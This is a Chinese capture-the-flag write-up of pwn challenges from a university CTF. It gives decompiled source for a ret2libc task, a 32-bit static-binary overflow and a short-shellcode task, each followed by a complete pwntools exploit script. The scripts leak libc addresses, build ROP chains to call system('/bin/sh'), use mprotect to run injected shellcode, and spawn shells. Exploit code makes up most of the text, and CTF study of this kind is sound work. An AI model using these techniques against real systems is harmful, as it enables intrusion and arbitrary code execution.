签到 ret2libc 简单的retlibc,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main (int argc, const char **argv, const char **envp) { char v4[112 ]; setbuf(stdin , 0LL ); setbuf(_bss_start, 0LL ); setbuf(stderr , 0LL ); puts ( "As a student who has been learning pwn for half a year\n" "basic ROP is an essential skill that everyone should master. \n" "Therefore, hurry up and complete the check-in. \n" "Welcome to the Hangzhou Normal University CTF competition, please leave your name." ); gets(v4); return 0 ; }
无需多言,直接放wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.os='linux' context.log_level='debug' context.arch='amd64' r=remote('node1.tgctf.woooo.tech' ,31903 ) e=ELF('./tgctf_sign' ) libc=ELF('./libc.so.6' ) pop_rdi=0x401176 ret=0x40101a main=0x401178 puts_plt=e.plt['puts' ] puts_got=e.got['puts' ] payload1=b'a' *0x70 +b'b' *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main) r.sendlineafter(b'name.' ,payload1) puts_add=u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libcbase=puts_add-libc.sym['puts' ] sys_add=libcbase+libc.sym['system' ] bin_add=libcbase+next (libc.search(b'/bin/sh' )) payload2=b'a' *0x70 +b'b' *8 +p64(pop_rdi)+p64(bin_add)+p64(sys_add)+p64(main) r.sendline(payload2) r.interactive()
overflow ROP/静态链接/shellcode 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[200 ]; int *p_argc; p_argc = &argc; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stderr , 0 , 2 , 0 ); puts ("could you tell me your name?" ); read(0 , name, 256 ); puts ("i heard you love gets,right?" ); gets(buf); return 0 ; }
在ida分析时发现这是一道32位静态链接的题目,不考虑ret2libc。 题目开启了canary和NX,又是静态题目,我们考虑写入shellcode并执行mprotect函数提升权限 看调用gets函数的汇编代码如下
1 2 3 4 5 6 7 8 9 call gets add esp, 10h mov eax, 0 lea esp, [ebp-8] pop ecx pop ebx pop ebp lea esp, [ecx-4] retn
发现返回地址是ecx-4,而ecx的值是ebp-8处的值,于是我们可以通过覆盖ebp-8处的值来修改返回地址,这样就不会影响canary,此处改为我们可以写入的name 我们事先在name处写入调用mpeotect函数的rop链,提升权限为7,然后写入shellcode 注意mprotect函数第一个参数地址必须是一个内存页的起始地址(0x1000的整数倍),并且区间长度len必须是页大小的整数倍 最后就可getshell wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.os='linux' context.arch='i386' context.log_level='debug' r=process('./tgctf_overflow' ) mprotect_add=0x8070A70 puts_add=0x80527D0 name_pro=0x80EF000 name=0x80ef320 canary=name+4 shellcode=p32(mprotect_add)+p32(name+20 )+p32(name_pro)+p32(0x1000 )+p32(7 )+asm(shellcraft.sh()) payload1=shellcode.rjust(256 ,b'0' ) log.success(len (shellcode)) r.sendafter(b'could you tell me your name?' ,payload1) payload2=b'a' *0xc8 +p32(name+4 ) r.sendlineafter(b'i heard you love gets,right?' ,payload2) r.interactive()
shellcode shellcode 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall main (int a1, char **a2, char **a3) { void *buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("hello hacker" ); puts ("try to show your strength " ); buf = mmap(0LL , 0x1000u LL, 7 , 34 , -1 , 0LL ); read(0 , buf, 0x12u LL); mprotect(buf, 0x1000u LL, 4 ); sub_11C9((__int64)buf); return 0LL ; }
sub_11c9函数的源码如下
1 2 3 4 void __fastcall sub_11C9 (__int64 a1) { __asm { jmp rdi } }
我们可以输入0x12字节的shellcode,最后直接执行,gdb调试得知执行时我们输入的shellcode时候寄存器全部清零,除了rip指向{jmp rdi}和rdi指向我们输入的shellcode 于是我们写短的shellcode即可 由于只有0x12字节,使用栈来传入/bin/sh是行不通的,由于有rdi指向我们输入的shellcode,可以利用这一点直接写/bin/sh,然后add rdi即可实现/bin/sh的传入 最后令eax为execve的系统调用号,再syscall就可getshell wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' r=process('./tgctf_shellcode' ) shellcode=asm(''' mov eax,0x3b add rdi,0x8 syscall ''' )shellcode+=b'/bin/sh\x00' r.sendafter(b'strength ' ,shellcode) r.interactive()
stack 笔者的ida反汇编不出这题的源码(悲,硬着头皮看汇编做不太现实,遂放弃